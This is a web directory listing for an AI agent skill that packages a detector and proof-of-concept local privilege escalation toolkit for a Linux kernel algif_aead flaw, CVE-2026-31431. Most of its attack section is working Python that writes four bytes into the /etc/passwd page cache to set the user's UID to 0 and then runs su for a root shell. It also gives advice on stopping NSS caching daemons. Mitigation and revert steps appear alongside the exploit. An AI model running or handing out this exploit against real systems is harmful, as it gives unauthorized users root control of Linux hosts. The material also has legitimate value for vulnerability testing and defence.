Skills DirectorySkills Directory
SkillsLearnSecurityCategoriesDocsCommunityBlog
Sign InSubmit Skill
Skills Directory

Security-tested agent skills for Claude, coding agents, and AI workflows.

Directory

  • Browse Skills
  • All Skills A–Z
  • Claude Skills
  • Claude Code Skills
  • Agent Skills
  • Categories
  • Submit a Skill

Learn

  • Learn Hub
  • Install Claude Skills
  • Write SKILL.md
  • Skills vs MCP
  • Directories Compared

Security

  • Security
  • Methodology
  • Secure Claude Skills
  • Security Badges

Company

  • About
  • Community
  • Blog
  • API Docs
  • Advertise

2026 Skills Directory. All rights reserved.

Back to skills

Cve 2026 31431 Copy Fail

BSecurity

Detector and proof-of-concept LPE toolkit for CVE-2026-31431 ("Copy Fail"), a Linux kernel algif_aead page-cache scratch-write vulnerability enabling local privilege escalation.

81 stars
0 votes
0 copies
0 views
Added 9/19/2026
securitypythongoshellgitapi

Works with

api

Security Analysis

B75/100
criticalAccesses sensitive system or user directories

Scanned 9/19/2026

Install to Claude Code

$npx -y skills add reason-machines/trending-skills --skill cve-2026-31431-copy-fail --agent claude-code

Installs into .claude/skills of the current project.

Are you the author of Cve 2026 31431 Copy Fail?

Add the live security badge to your README — it updates automatically with every re-scan.

Security grade badge for Cve 2026 31431 Copy Fail
[![Security: B — Skills Directory](https://www.skillsdirectory.com/api/skills/reason-machines-cve-2026-31431-copy-fail/badge)](https://www.skillsdirectory.com/skills/reason-machines-cve-2026-31431-copy-fail)

More formats (shields.io, HTML) on the badges page.

Download Zip
Files
SKILL.md
---
name: cve-2026-31431-copy-fail
description: Detector and proof-of-concept LPE toolkit for CVE-2026-31431 ("Copy Fail"), a Linux kernel algif_aead page-cache scratch-write vulnerability enabling local privilege escalation.
triggers:
  - detect CVE-2026-31431
  - check if system is vulnerable to Copy Fail
  - run the algif_aead exploit detector
  - test for page cache corruption vulnerability
  - CVE-2026-31431 proof of concept
  - check Linux kernel AEAD splice vulnerability
  - mitigate algif_aead page cache bug
  - Copy Fail Linux privilege escalation
---

# CVE-2026-31431 ("Copy Fail") Toolkit

> Skill by [ara.so](https://ara.so) — Daily 2026 Skills collection.

A Python toolkit for detecting and demonstrating CVE-2026-31431, a Linux kernel vulnerability where `algif_aead` with `authencesn(hmac(sha256),cbc(aes))` performs an in-place AEAD operation via `splice()`, writing into page-cache pages of regular files — enabling an unprivileged user to corrupt the kernel's in-memory view of `/etc/passwd` or other world-readable files for local privilege escalation.

**Authorization notice:** Use only on systems you own or are explicitly engaged to assess. Running this on unauthorized systems is illegal in most jurisdictions.

## Affected Systems

- Linux kernels carrying commit `72548b093ee3` (in-place AEAD, 2017) without the upstream revert
- Confirmed affected: Ubuntu 24.04 LTS, Amazon Linux 2023, RHEL 14.3, SUSE 16

## Installation

No installation required. Pure Python 3.10+ stdlib — clone and run directly.

```sh
git clone https://github.com/rootsecdev/cve_2026_31431.git
cd cve_2026_31431
python3 --version  # requires 3.10+
```

## Files

| File | Purpose |
|------|---------|
| `test_cve_2026_31431.py` | Non-destructive detector; operates only on a temp sentinel file |
| `exploit_cve_2026_31431.py` | LPE; flips UID to 0 in `/etc/passwd` page cache, then invokes `su` |

## Key Commands

### Detector

```sh
python3 test_cve_2026_31431.py
```

Exit codes:
- `0` — Not vulnerable (precondition not met or page cache intact)
- `1` — Test error
- `2` — **Vulnerable** (marker landed in spliced page)

### Exploit

```sh
# Patch /etc/passwd page cache only (dry-run, auto-reverts on exit)
python3 exploit_cve_2026_31431.py

# Patch and spawn root shell via su
python3 exploit_cve_2026_31431.py --shell
```

## How the Vulnerability Works

```
sendmsg([8-byte AAD], cmsg=[ALG_SET_OP=DECRYPT, ALG_SET_IV, ALG_SET_AEAD_ASSOCLEN=8],
        flags=MSG_MORE)
splice(target_fd, pipe_w, 32, offset_src=file_offset)
splice(pipe_r, op_fd, 32)
recv(op_fd)   # returns EBADMSG; scratch write has already landed
```

The `authencesn` algorithm writes bytes 4–7 of the AAD (`seqno_lo`) into the destination scatterlist. When `splice()` is used, that destination is the page-cache page of the source file. The on-disk file is **never modified**.

## Core Detection Logic (from `test_cve_2026_31431.py`)

```python
import os, socket, struct, tempfile, ctypes

MARKER = b'PWND'
ALG_SET_KEY       = 1
ALG_SET_IV        = 2
ALG_SET_OP        = 3
ALG_SET_AEAD_ASSOCLEN = 4

def check_preconditions():
    """Verify AF_ALG and authencesn algorithm are reachable."""
    try:
        sock = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0)
        sock.bind({
            'type': 'aead',
            'name': 'authencesn(hmac(sha256),cbc(aes))',
            'feat': 0,
            'mask': 0,
        })
        sock.close()
        return True
    except (OSError, AttributeError):
        return False

def write4(target_path, file_offset, payload_4bytes):
    """
    Write exactly 4 bytes into the page cache of target_path at file_offset
    using the algif_aead splice path. The auth check will fail (EBADMSG)
    but the scratch write fires regardless.
    """
    assert len(payload_4bytes) == 4

    # Build a 256-bit AES key + 256-bit HMAC-SHA256 key (arbitrary for PoC)
    aes_key  = bytes(32)
    hmac_key = bytes(32)
    key = hmac_key + aes_key  # authencesn key layout

    # Create AF_ALG socket bound to the vulnerable algorithm
    alg_sock = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0)
    alg_sock.bind({
        'type': 'aead',
        'name': 'authencesn(hmac(sha256),cbc(aes))',
        'feat': 0,
        'mask': 0,
        'authsize': 32,
    })
    alg_sock.setsockopt(socket.SOL_ALG, ALG_SET_KEY, key)
    op_fd, _ = alg_sock.accept()

    # 8-byte AAD: bytes 0-3 = seqno_hi (ignored), bytes 4-7 = seqno_lo (WRITTEN)
    aad = bytes(4) + payload_4bytes   # seqno_lo = our 4-byte payload

    # Send AAD inline via sendmsg with control messages
    iv = bytes(16)  # CBC IV
    cmsg = [
        (socket.SOL_ALG, ALG_SET_OP,          struct.pack('I', 0)),  # DECRYPT=0
        (socket.SOL_ALG, ALG_SET_IV,          struct.pack('II', 16, 0) + iv),
        (socket.SOL_ALG, ALG_SET_AEAD_ASSOCLEN, struct.pack('I', 8)),
    ]
    op_fd.sendmsg([aad], cmsg, socket.MSG_MORE)

    # splice the target file's page-cache page into the op socket
    pipe_r, pipe_w = os.pipe()
    target_fd = os.open(target_path, os.O_RDONLY)
    os.splice(target_fd, pipe_w, 32, offset_src=file_offset)
    os.splice(pipe_r,    op_fd,  32)

    # Drive the decryption — EBADMSG expected; scratch write already fired
    try:
        op_fd.recv(64)
    except OSError:
        pass  # EBADMSG is expected

    os.close(pipe_r)
    os.close(pipe_w)
    os.close(target_fd)
    op_fd.close()
    alg_sock.close()

def detect():
    if not check_preconditions():
        print("Precondition not met — AF_ALG or authencesn unavailable")
        return 0

    with tempfile.NamedTemporaryFile(delete=False) as f:
        sentinel_path = f.name
        f.write(b'\x00' * 4096)

    try:
        # Populate page cache
        with open(sentinel_path, 'rb') as f:
            f.read()

        write4(sentinel_path, 0, MARKER)

        # Read back from page cache
        with open(sentinel_path, 'rb') as f:
            data = f.read(16)

        if MARKER in data:
            print("VULNERABLE to CVE-2026-31431")
            return 2
        elif data != b'\x00' * 16:
            print("Page cache MODIFIED via in-place AEAD splice path — treat as vulnerable")
            return 2
        else:
            print("Page cache intact — not vulnerable")
            return 0
    finally:
        os.unlink(sentinel_path)

if __name__ == '__main__':
    raise SystemExit(detect())
```

## LPE Pattern (from `exploit_cve_2026_31431.py`)

```python
import os, pwd, subprocess

def find_uid_offset(username):
    """Find the byte offset of the UID field in /etc/passwd for username."""
    with open('/etc/passwd', 'rb') as f:
        content = f.read()

    for line in content.split(b'\n'):
        if line.startswith(username.encode() + b':'):
            fields = line.split(b':')
            # fields[2] is the UID
            offset = content.index(line) + sum(len(f) + 1 for f in fields[:2])
            uid_field = fields[2]
            return offset, uid_field
    raise ValueError(f"User {username!r} not found in /etc/passwd")

def exploit(username, spawn_shell=False):
    uid_offset, uid_field = find_uid_offset(username)

    if len(uid_field) != 4:
        raise ValueError(
            f"UID {uid_field.decode()!r} is not 4 digits — "
            "1-3 digit UIDs require multi-shot writes"
        )

    print(f"[*] Patching UID at offset {uid_offset} in /etc/passwd page cache...")
    write4('/etc/passwd', uid_offset, b'0000')

    # Verify libc now reports UID 0
    entry = pwd.getpwnam(username)
    if entry.pw_uid != 0:
        print("[!] getpwnam still returns original UID — NSS cache may be active")
        print("    Try: sudo systemctl stop nscd sssd systemd-userdbd")
        return

    print(f"[+] /etc/passwd page cache patched — {username} now appears as UID 0")

    if spawn_shell:
        print(f"[*] Spawning root shell via: su {username}")
        print("[*] Enter your own password at the prompt")
        os.execvp('su', ['su', username])
    else:
        print("[*] Dry-run complete. Page cache will be evicted on exit.")
        # Auto-evict corrupted page on exit
        fd = os.open('/etc/passwd', os.O_RDONLY)
        os.posix_fadvise(fd, 0, 0, os.POSIX_FADV_DONTNEED)
        os.close(fd)

if __name__ == '__main__':
    import sys
    username = os.environ.get('USER') or os.getlogin()
    spawn_shell = '--shell' in sys.argv
    exploit(username, spawn_shell)
```

## Requirements for LPE

- Running user has a **4-digit UID** (1000–9999)
- No NSS caching daemon masking `/etc/passwd` reads (`nscd`, `sssd`, `systemd-userdbd`)
- `/etc/passwd` page remains in cache between patch and `su` exec

## Reverting Page Cache Corruption

The on-disk `/etc/passwd` is **never modified**. To restore normal UID resolution:

```sh
# From unprivileged user — evict corrupted page:
python3 -c "
import os
fd = os.open('/etc/passwd', os.O_RDONLY)
os.posix_fadvise(fd, 0, 0, os.POSIX_FADV_DONTNEED)
os.close(fd)
"

# From root shell — drop all page caches:
echo 3 > /proc/sys/vm/drop_caches

# Or simply reboot
```

## Mitigation

```sh
# Disable algif_aead module permanently
sudo tee /etc/modprobe.d/disable-algif-aead.conf <<< 'install algif_aead /bin/false'

# Unload if currently loaded
sudo rmmod algif_aead 2>/dev/null

# Verify — detector should now report "Precondition not met"
python3 test_cve_2026_31431.py
```

## Troubleshooting

| Symptom | Cause | Fix |
|---------|-------|-----|
| `OSError: [Errno 93] Protocol not supported` | `AF_ALG` not available | Kernel too old or CONFIG_CRYPTO_USER_API_AEAD not set |
| `OSError: [Errno 2] No such file or directory` (bind) | `algif_aead` module not loaded | `sudo modprobe algif_aead` or apply mitigation |
| `getpwnam` returns original UID after patch | NSS cache active | Stop `nscd`/`sssd`/`systemd-userdbd` |
| Detector exits 0 on known-vulnerable kernel | Page evicted before re-read | Ensure no memory pressure; retry immediately |
| Multi-digit UID < 1000 | `write4` writes exactly 4 bytes | Pad UID field manually or extend `write4` for multi-shot |

## References

- Disclosure writeup: <https://xint.io/blog/copy-fail-linux-distributions>
- CVE: CVE-2026-31431
- Upstream fix: revert in-place AEAD to out-of-place, keeping page-cache pages out of writable scatterlists

Attribution

reason-machinesreason-machines
View sourceMore from reason-machines →
SSkills DirectorySkills Directory

Ship a skill? Prove it's safe.

Free 120-pattern security scan, letter grade, and an embeddable README badge.

Submit a skill

Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.

Comments (0)

No comments yet. Be the first to comment!

SSkills DirectorySkills Directory

Ship a skill? Prove it's safe.

Free 120-pattern security scan, letter grade, and an embeddable README badge.

Submit a skill

Related Skills

Springboot Security

Java Spring Boot 服务中关于身份验证/授权、验证、CSRF、密钥、标头、速率限制和依赖安全的 Spring Security 最佳实践。

2456590 votes

Security Review

Use this skill when adding authentication, handling user input, working with secrets, creating API endpoints, or implementing payment/sensitive features. Provides comprehensive security checklist and patterns.

2456590 votes

Summarize Status

Write a short, colloquial summary for a Paperclip summary slot: open with the 1–3 specific, concrete actions the reader needs to take right now to unblock the work, then a brief plain-language status, streaming progress as it works.

798220 votes

Paperclip Task Bridge

Create, comment on, update, and list Paperclip tasks from Hermes using scoped Paperclip API credentials.

798220 votes

V3 Security Overhaul

Complete security architecture overhaul for claude-flow v3. Addresses critical CVEs (CVE-1, CVE-2, CVE-3) and implements secure-by-default patterns. Use for security-first v3 implementation.

701370 votes
View all in security →